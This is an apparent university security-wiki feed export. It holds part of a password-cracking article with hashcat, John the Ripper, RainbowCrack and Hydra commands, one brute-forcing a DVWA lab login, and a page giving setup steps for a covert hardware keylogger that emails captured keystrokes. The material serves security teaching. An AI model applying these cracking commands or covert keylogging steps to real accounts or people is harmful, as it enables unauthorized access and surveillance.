&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;hashcat (NVIDIA GTX 1080)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;text-align: center;&amp;quot;&amp;gt;24.943.000.000&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also GRC Haystack can by used to check how quick a password can be cracked. Just type in a custom password and the tool will show several attack scenarios like it was shown in the figure below. [https://www.grc.com/haystack.htm] &lt;br /&gt;
&lt;br /&gt;
[[File:Haystack.PNG|500px]] &lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Miscellaneous Tools&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There is no black and white, and all tools have their strengths as well as their weaknesses. Also, combinations between some are quite useful. This section consists mostly of descriptions of the individual developers as they can best introduce themselves and as this section is only intended to introduce further tools. Written-off paragraphs are marked with a footnote. Here the Kali Linux knowledge-base [W2] has been referenced, which in turn refer to the developers’ websites and Github repositories, as well as giving short usage examples. The following examples have been selected by versatility and range of application to present other great tools besides Hashcat and John. aircrack-ng suite to analyze and attack wireless networks. THC-Hydra, an online login cracker and the alternative ncrack for our nmap lovers, Medusa is be the third in line. WFuzz, the web application cracker and last but not least RainbowCrack which uses rainbow tables to crack passwords.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Aircrack-ng&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://tools.kali.org/wireless-attacks/aircrack-ng Aircrack-ng] is an 802.11 Wired Equivalent Privacy (WEP) and Wifi Protected Access pre-shared key (WPA-PSK) cracking program that can recover keys once enough data packets have been captured. It implements the standard Fluhrer, Mantin, and Shamir (FMS) attack along with some optimizations like KoreK attacks, as well as the all-new Pychkine-Tews-Weinmann (PTW) attack, thus making the attack much faster compared to other WEP. However, Aircrack-ng is much more than just a cracking program. &lt;br /&gt;
&lt;br /&gt;
The developers offer a versatile application suite for analyzing and attacking wireless networks. `aerodump-ng` even makes it possible to capture packets in a wireless network, and then attack contained handshakes of a WPA/WPA2-PSK using Hashcat or John efficiently. See also [[WPA/WPA2 PSK deauthentication attack]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;THC Hydra&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://tools.kali.org/password-attacks/hydra THC Hydra] is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely.&lt;br /&gt;
&lt;br /&gt;
Hydra can be used to start an Brute-Force Attack on the Login from on the &amp;lt;b&amp;gt;&amp;quot;Damn Vulnerable Web Application (DVWA)&amp;quot;&amp;lt;/b&amp;gt;. DVWA is a PHP/MySQL web application, whose main goal is to be an aid for security professionals to test their skills and tools in a legal environment. Also this tool should be available by default in Kali Linux. &lt;br /&gt;
&lt;br /&gt;
The figure below shows the Login form of DVWA:&lt;br /&gt;
&lt;br /&gt;
[[File:DVWA BruteForce.jpg|500px]] &lt;br /&gt;
&lt;br /&gt;
The command can be adjusted depending on the login form. An attacker usually proceeds here by looking at the source code of the website with the network analyzer and adapting his command to the login forms accordingly. For the DVWA web application the appropriate command to execute such an attack will be shown in the &amp;lt;b&amp;gt;&amp;quot;Example&amp;quot;&amp;lt;/b&amp;gt; section below. &lt;br /&gt;
&lt;br /&gt;
Also following Youtube video can help to get through this attack: [https://www.youtube.com/watch?v=mYvR15WP9Og]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;ncrack&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://tools.kali.org/password-attacks/ncrack Ncrack] is a high-speed network authentication cracking tool. It was designed using a modular approach, a command-line syntax similar to Nmap, and a dynamic engine that can adapt its behavior based on network feedback. It allows for rapid, yet reliable large-scale auditing of multiple hosts. Ncrack’s features include a very flexible interface granting the user full control of network operations, allowing for very sophisticated bruteforcing attacks, timing templates for ease of use, runtime interaction similar to Nmap’s, and many more. &lt;br /&gt;
&lt;br /&gt;
At this point should be noted that Nmap itself can be used for simple online attacks, by using the -script parameter with the desired script like telnet-brute.nse and the corresponding values for userdb and passwd with the additional parameter -script-args. See also [[Brute-Force with NMAP]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;WFuzz&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://tools.kali.org/web-applications/wfuzz Wfuzz] (the web fuzzer) is a tool designed for bruteforcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc.), bruteforce GET and POST parameters for checking different kind of injections (SQL, XSS, LDAP,etc.), bruteforce Forms parameters (User/Password), Fuzzing, etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Rainbow Crack&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Hashcat nor john are capable of performing rainbow attacks. This is were [https://tools.kali.org/password-attacks/rainbowcrack RainbowCrack] comes into the game. An alternative tool to perform rainbow attacks is Ophcrack, a free Windows (LM and NTLM) password cracker which also provides a GUI, and WOphcrack, a PHP based web frontend for Ophcrack.&lt;br /&gt;
&lt;br /&gt;
RainbowCrack is a general propose implementation of Philippe Oechslin’s faster time-memory trade-off technique. It crack hashes with rainbow tables. RainbowCrack uses a time-memory tradeoff algorithm to crack hashes. A time-memory tradeoff hash cracker needs a pre-computation stage. At the time, all plaintext/hash pairs within the selected hash algorithm, charset, plaintext length are computed, and results are stored in files called rainbow table. It is time-consuming to do this kind of computation. But once the one-time pre-computation is finished, hashes stored in the table can be cracked with much better performance than a brute force cracker.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Procedure&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This Chapter provides a basic guideline for offline password cracking. It is intended for scenarios, where the analysist is presented with a hashed password.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Identification&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
First, the according hashing algorithm must be identified. the In a nutshell there are there are three componenents used for manual hash identification:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Special Characters&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Character Set&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Length of the Hash&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
There are automated tools for the terminal or online that perform the identification based on HEX encoded hashes. But it is always only about guessing and probability, since f.e. cascaded algorithms cannot simply be identified. This should be used in combination with manual identification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;margin-left:15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt; Offline &amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;hashid&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;hash-identifier&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;john&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;margin-left: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt; Online &amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://md5hashing.net/hash_type_checker md5hashing.net]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://www.onlinehashcrack.com/hash-identification.php onlinehashcrack.com]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://hashes.com/en/tools/hash_identifier hashes.com]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The passwords must first be sanitized and decoded, if necessary. The goal is to get a HEX string in the next step. &amp;lt;code&amp;gt;0x&amp;lt;/code&amp;gt; may be used to indicate HEX, but is not important and can be discarded. Furthermore the special characters &amp;lt;code&amp;gt;:&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;$&amp;lt;/code&amp;gt; are commonly used as delimiter between salt and digest and are not part of the charset. For all passwords which are not of the charset [a-fA-F0-9] a BASE64 encoding, with the charset [A-Za-z0-9+/], was used. Base{16,32,64} encoding is usually recognized quickly due to one or two trailing &amp;lt;code&amp;gt;=&amp;lt;/code&amp;gt;, which are used for padding. The Base{16,32,64} encoding format and charset is described in [https://www.rfc-editor.org/rfc/rfc4648.txt RFC4648]. In this scenario BASE64 and HEX encoding should be the only ones that are used. Mind the &amp;lt;code&amp;gt;-n&amp;lt;/code&amp;gt; with the &amp;lt;code&amp;gt;echo&amp;lt;/code&amp;gt; command in oder to supress adding a trailing &amp;lt;code&amp;gt;\n&amp;lt;/code&amp;gt;. The hashcat [https://hashcat.net/wiki/doku.php?id=example_hashes example hashes] or the &amp;lt;code&amp;gt;john --list=format-details&amp;lt;/code&amp;gt; can be used as a reference for manual identification. If there is information about the system that creates or uses the hashes, its documentation could be consulted. Below some helper commands for manual hash identification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# ASCII to Base64 &lt;br /&gt;
echo -n $STRING | base64 &lt;br /&gt;
# Base64 to ASCII &lt;br /&gt;
echo -n $BASE64 | base64 -d &lt;br /&gt;
# ASCII to HEX &lt;br /&gt;
echo -n $STRING | xxd -pu &lt;br /&gt;
# String length &lt;br /&gt;
echo -n $STRING | wc -c &lt;br /&gt;
# HEX encoded String bit length &lt;br /&gt;
echo $((`echo -n $HEX_ENCODED_STRING | wc -c` / 2)) &lt;br /&gt;
echo -n $HEX_ENCODED_STRING | perl -lpe &#039;$_=unpack&amp;quot;B*&amp;quot;&#039; | wc -c&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Cracking&amp;lt;/h2&amp;gt;&lt;br /&gt;
It is generally claimed that Hashcat is more performant than John the Ripper (john) and that Graphical Processing Units (GPU) can calculate more hashes per second than Central Processing Units (CPU). See also [[:File: Password_Cracking-Software_and_Hardware_Comparison-ITTK20-WS19.pdf|Password Cracking: Software and Hardware Comparison]]. John the Ripper has the ability to recognize password hash types and supports multiple cracking modes, but it is mostly used for dictionary-style or incremental brute-forcing attacks using the CPU. Hashcat is claimed to be the world’s fastest and most advanced open-source password recovery utility and supports five unique attack modes using GPUs, DSPs, FPGAs, and co-processors. The John jumbo edition supports way more hash types than hashcat (~2300 &amp;gt; ~200), while hashcat is highly optimized and may not run an any hardware and OS. Alternatively there are online lookup tables. However, this is useless for most slated hashes and advanced hashing algorithms. [[Acquisition and Cracking of macOS User Passwords]] or [[WPA/WPA2 PSK deauthentication attack]] may be used as an hands-on example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;margin-left: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt; Offline &amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;john&amp;lt;/i&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;hashcat&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;RainbowCrack&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;margin-left: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt; Online &amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://crackstation.net crackstation.net]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://md5hashing.net md5hashing.net]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://google.com Google]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;!--The following paragraphs present the most common modes used with password attacks. For supported attack modes consider the [https://www.openwall.com/john/doc/MODES.shtml john] and [https://hashcat.net/wiki/ hashcat] documentation or man pages instead.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Bruteforce attacks&#039;&#039;&#039; try all possible passwords until the right one is found. Such password crackers generate and hash in the worst case every possible password in the keyspace, while none of these intermediate results are stored.&lt;br /&gt;
* &#039;&#039;&#039;Dictionary attacks&#039;&#039;&#039; are a special kind of a brute force attack where the keyspace is restricted by using a dictionary (aka. wordlist). These wordlists usually contain common passwords grouped by specific criteria, which are then processed by crackers in sequence.&lt;br /&gt;
* &#039;&#039;&#039;Rainbow attacks&#039;&#039;&#039; are just a more specialized form of dictionary attack, where pre-computed hashes are stored in so-called rainbow tables. This serves as a lookup table to invert a certain hash function.&lt;br /&gt;
* &#039;&#039;&#039;Hybrid attacks&#039;&#039;&#039; combine brute force and dictionary attack by appending or prefixing each entry of a wordlist with all permutations of the brute force keyspace. It is a great method if the format of a password is known.&lt;br /&gt;
* &#039;&#039;&#039;Rule-based attacks&#039;&#039;&#039; use methods to change passwords to cover all variants.&lt;br /&gt;
* &#039;&#039;&#039;Syllable attacks&#039;&#039;&#039;: Combination of bruteforce and dictionary attack checking all permutations of each word within a wordlist.&lt;br /&gt;
* &#039;&#039;&#039;Other attacks&#039;&#039;&#039;: Combinator, Fingerprint, Mask, Toggle-Case, Permutation, TableLookup, PRINCE.--&amp;gt;&lt;br /&gt;
&amp;lt;h3&amp;gt;Examples&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Hash detection&lt;br /&gt;
john $HASHFILE&lt;br /&gt;
&lt;br /&gt;
# Incremental Brute-force&lt;br /&gt;
john --incremental=ASCII $HASHFILE --format=dynamic_1 --fork=16&lt;br /&gt;
&lt;br /&gt;
# Rule-based&lt;br /&gt;
john $HASHFILE --format=dynamic_1 --rules=Wordlist \&lt;br /&gt;
   --wordlist=$WORDLIST --fork=16&lt;br /&gt;
john $HASHFILE --format=dynamic_1 --rules=Wordlist,Single \&lt;br /&gt;
   --wordlist=$WORDLIST --fork=16&lt;br /&gt;
&lt;br /&gt;
# Custom rule that adds a new line to the end of ech password from a wordlist&lt;br /&gt;
cat AddNewLine.rule&lt;br /&gt;
[List.Rules:AddNewLine]&lt;br /&gt;
$\x0a&lt;br /&gt;
&lt;br /&gt;
sudo nice -n -20 john $HASHFILE --rules=AddNewLine.rule \&lt;br /&gt;
   --wordlist=$WORDLIST --format=Raw-SHA1&lt;br /&gt;
&lt;br /&gt;
# Bruteforce&lt;br /&gt;
sudo nice -n -20 \&lt;br /&gt;
    hashcat -m 100 \&lt;br /&gt;
    $HASH \&lt;br /&gt;
    -a 3 password?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
# Wordlist + Mask attack&lt;br /&gt;
sudo nice -n -20 \&lt;br /&gt;
    hashcat -m 100 \&lt;br /&gt;
    $HASH \&lt;br /&gt;
    -a 6 $WORDLIST ?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
# Custom Rule&lt;br /&gt;
cat AddNewLine.rule           &lt;br /&gt;
$\x0a&lt;br /&gt;
&lt;br /&gt;
# Straight attack /w custom rule&lt;br /&gt;
sudo nice -n -20 \&lt;br /&gt;
    hashcat -m 100 -r AddNewLine.rule \&lt;br /&gt;
    $HASH \&lt;br /&gt;
    -a 0 $WORDLIST&lt;br /&gt;
&lt;br /&gt;
# Dictionary Attack (MD5 Hashes)&lt;br /&gt;
sudo nice -n -20 \&lt;br /&gt;
    hashcat -a 0 -m 0 hashes.txt rockyou.txt&lt;br /&gt;
    $HASH&lt;br /&gt;
&lt;br /&gt;
# Rainbowtable Attack (Rainbowcrack)&lt;br /&gt;
sudo apt-get install rainbowcrack                # Installing Rainbowcrack&lt;br /&gt;
rtgen -h                                         # Open Manual&lt;br /&gt;
sudo rtgen md5 loweralpha 1 3 0 1000 1000 0      # Create Rainbowtable&lt;br /&gt;
cd /usr/share/rainbowcrack/                      # Change directory to view table&lt;br /&gt;
rtsort .                                         # Sort every file in directory (very important)&lt;br /&gt;
./rcrack . -h example_hash                       # Execute Rainbowcrack&lt;br /&gt;
&lt;br /&gt;
# Brute-Forcing Login Page of DVWA (with Hydra)&lt;br /&gt;
hydra 127.0.0.1 http-form-get &amp;quot;/vulnerabilities/brute:username=^USER^&amp;amp;passwords=^PASS^&amp;amp;Login=submit:F=Username and/or password incorrect.:H=Cookie:security=low; PHPSESSID=uhuja6fe3jof98cf2j86r0qtpq&amp;quot; -L usernames.txt -P passwords.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Related&amp;lt;/h1&amp;gt;&lt;br /&gt;
* [[Password Security]]&lt;br /&gt;
* [[:File: Password_Cracking-Software_and_Hardware_Comparison-ITTK20-WS19.pdf|Password Cracking: Software and Hardware Comparison]]&lt;br /&gt;
* [[Acquisition and Cracking of macOS User Passwords]]&lt;br /&gt;
* [[Password cracking on Android]]&lt;br /&gt;
* [[WPA/WPA2 PSK deauthentication attack]]&lt;br /&gt;
* [[Brute-Force with NMAP]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;References&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [W1] WeakPass: Pick the right wordlist. (Visited: 16.10.2020):&lt;br /&gt;
** https://weakpass.com/wordlist&lt;br /&gt;
** https://weakpass.com/calc&lt;br /&gt;
* [W2] Kali Linux: The quieter you become, the more you are able to hear https://www.kali.org (Visited: 25.11.2019)&lt;br /&gt;
* [W3] Openwall: John the Ripper password cracker (Visited: 22.11.2019): &lt;br /&gt;
** https://www.openwall.com/john/ &lt;br /&gt;
** https://openwall.info/wiki/john/benchmarks &lt;br /&gt;
** https://openwall.info/wiki/john/johnny &lt;br /&gt;
** https://openwall.info/wiki/john/GPU &lt;br /&gt;
** git://github.com/magnumripper/JohnTheRipper&lt;br /&gt;
** https://www.openwall.com/john/doc/MODES.shtml&lt;br /&gt;
** https://github.com/piyushcse29/john-the-ripper/blob/master/doc/DYNAMIC&lt;br /&gt;
* [W4] Hashcat: Advanced Password Recovery (Visited: 23.11.2019): &lt;br /&gt;
** https://hashcat.net/hashcat/ &lt;br /&gt;
** https://hashcat.net/wiki/ &lt;br /&gt;
** https://hashcat.net/wiki/doku.php?id=hashcat &lt;br /&gt;
** https://github.com/hashcat/hashcat&lt;br /&gt;
** https://hashcat.net/wiki/doku.php?id=example_hashes&lt;br /&gt;
* [W5] Aircrack-ng: complete suite of tools to assess WiFi network security:&lt;br /&gt;
** https://www.aircrack-ng.org/documentation.html &lt;br /&gt;
** https://github.com/aircrack-ng/aircrack-ng&lt;br /&gt;
* [W6] Varonis: How to Use John the Ripper (Updated: 13.08.2019, Visited: 25.11.2019): &lt;br /&gt;
** https://www.varonis.com/blog/john-the-ripper/ &lt;br /&gt;
* [W7] NVIDIA: High Performance Computing (Visited: 25.11.2019):&lt;br /&gt;
** https://developer.nvidia.com/opencl &lt;br /&gt;
** https://developer.nvidia.com/cuda-zone &lt;br /&gt;
* [W8] ophcrack: a free Windows password cracker (Visited: 25.11.2019): &lt;br /&gt;
** https://ophcrack.sourceforge.io/&lt;br /&gt;
* [B1] Hash Crack: Password Cracking Manual. NETMUX, 2019, ISBN: 9781793458612.&lt;br /&gt;
* [P1] Special Publication 800-63: Digital Identity Guidelines. NIST, 2017, DOI: NIST.SP.800-63-3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Haystack.PNG&amp;diff=10716</id>
		<title>File:Haystack.PNG</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Haystack.PNG&amp;diff=10716"/>
		<updated>2023-01-06T22:28:46Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_BruteForce.jpg&amp;diff=10715</id>
		<title>File:DVWA BruteForce.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:DVWA_BruteForce.jpg&amp;diff=10715"/>
		<updated>2023-01-06T22:05:31Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Attack_Modes_Hashcat.png&amp;diff=10706</id>
		<title>File:Attack Modes Hashcat.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Attack_Modes_Hashcat.png&amp;diff=10706"/>
		<updated>2023-01-06T21:28:42Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Hashing_Algorothms_Hashcat.png&amp;diff=10705</id>
		<title>File:Hashing Algorothms Hashcat.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Hashing_Algorothms_Hashcat.png&amp;diff=10705"/>
		<updated>2023-01-06T21:26:15Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=AirDrive_Keylogger_Max&amp;diff=10211</id>
		<title>AirDrive Keylogger Max</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=AirDrive_Keylogger_Max&amp;diff=10211"/>
		<updated>2022-06-28T18:04:32Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:AirDrive Keylogger Max.PNG|350px|thumb|right|AirDrive Keylogger Max]]&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
&lt;br /&gt;
The &#039;&#039;&#039;AirDrive Keylogger Max&#039;&#039;&#039; is comparable to the &#039;&#039;&#039;AirDrive Forensic Keylogger Cable (Pro Version)&#039;&#039;&#039;. &lt;br /&gt;
It has additional connectivity and more download options. It works both as a Wi-Fi hotspot, and as a Wi-Fi device, enabling features such as Email reports and time stamping. 8GB of built-in memory was used.&lt;br /&gt;
&lt;br /&gt;
== Features==&lt;br /&gt;
&lt;br /&gt;
* Records keystrokes from any USB keyboard&lt;br /&gt;
* 8 gigabytes of built-in memory&lt;br /&gt;
* Memory accessible as a USB Hi-speed flash drive (480 Mbps)&lt;br /&gt;
* Undetectable for security software&lt;br /&gt;
* Supports over 40 national keyboard layouts&lt;br /&gt;
* Compatible with barcode readers&lt;br /&gt;
* Works as a Wi-Fi hotspot, or as a Wi-Fi device&lt;br /&gt;
* Sends Email reports with recorded keystroke data&lt;br /&gt;
* Supports time-stamping&lt;br /&gt;
* Supports live data streaming over network&lt;br /&gt;
* Connect from any computer, smartphone, or tablet&lt;br /&gt;
* Access keystroke data from web browser&lt;br /&gt;
* Supports WEP, WPA, and WPA-2 network security &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
You don’t need any physical access to access the logged data. It is available on its interface, which is accessible by connecting to it over Wi-Fi. Once you are connected, you can view the logged data in real-time or just download it. &lt;br /&gt;
To hide the keylogger, you can erase the log, disable further logging, or even hide the WLAN network.&lt;br /&gt;
It is simply installed by just connecting any types of USB keyboards or barcode reader. Just connect the keylogger in-line with the keyboard and all keystrokes will be recorded.&lt;br /&gt;
&lt;br /&gt;
There are a lot of configuring options, which will be shown in the practical part. &lt;br /&gt;
&lt;br /&gt;
=== Hands-On ===&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1. Connect the USB keylogger in-line with the external keyboard and the target host. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2. Connect your smartphone, tablet or computer to the Wi-Fi network &amp;quot;AIR_XXYYZZ&amp;quot;, where &amp;quot;XXYYZZ&amp;quot; is the device ID of the USB cable. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3. You can then use any web browser to access the interface under the IP &amp;quot;192.168.4.1&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 1.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;4. Open the settings to configure the keylogger cable. Various configurations can be made there:&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 2.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 3.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
We can click on “Toggle Keyboard” to make the keylogger act as a normal flash drive. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;5. Since the Keylogger Max version has more features, we can take a look at the advanced settings: For every of the advanced settings, an internet connection will be needed. &lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 4.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
After you entered the SSID and the password of your WLAN network, you have to press the save button and restart the device, to activate the configurations. &lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 5.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
You can also use a specific NTP server from https://ntp.org&lt;br /&gt;
After configuration, keystrokes will be shown with timestamps in data log.&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 6.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
Find out your SMTP server addresses either by command line or by an online-tool like https://www.dnswatch.info.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Example (if you would use GMAIL):&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Gmail SMTP server address: smtp.gmail.com&lt;br /&gt;
* Gmail SMTP name: Your full name&lt;br /&gt;
* Gmail SMTP username: Your full Gmail address (e.g. you@gmail.com)&lt;br /&gt;
* Gmail SMTP password: The password that you use to log in to Gmail&lt;br /&gt;
* Gmail SMTP port (TLS): 587&lt;br /&gt;
* Gmail SMTP port (SSL): 465&lt;br /&gt;
&lt;br /&gt;
Don’t forget to press the “Save” button.&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 7.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
The IP of the target out by typing “ipconfig” in the terminal (Windows) and reading out the local IP address. Choose a free target port of your choice. &lt;br /&gt;
&lt;br /&gt;
You can download a UDP client or use instead the example client, which was already linked in the there.&lt;br /&gt;
&lt;br /&gt;
Don’t forget to press the “Save” button.&lt;br /&gt;
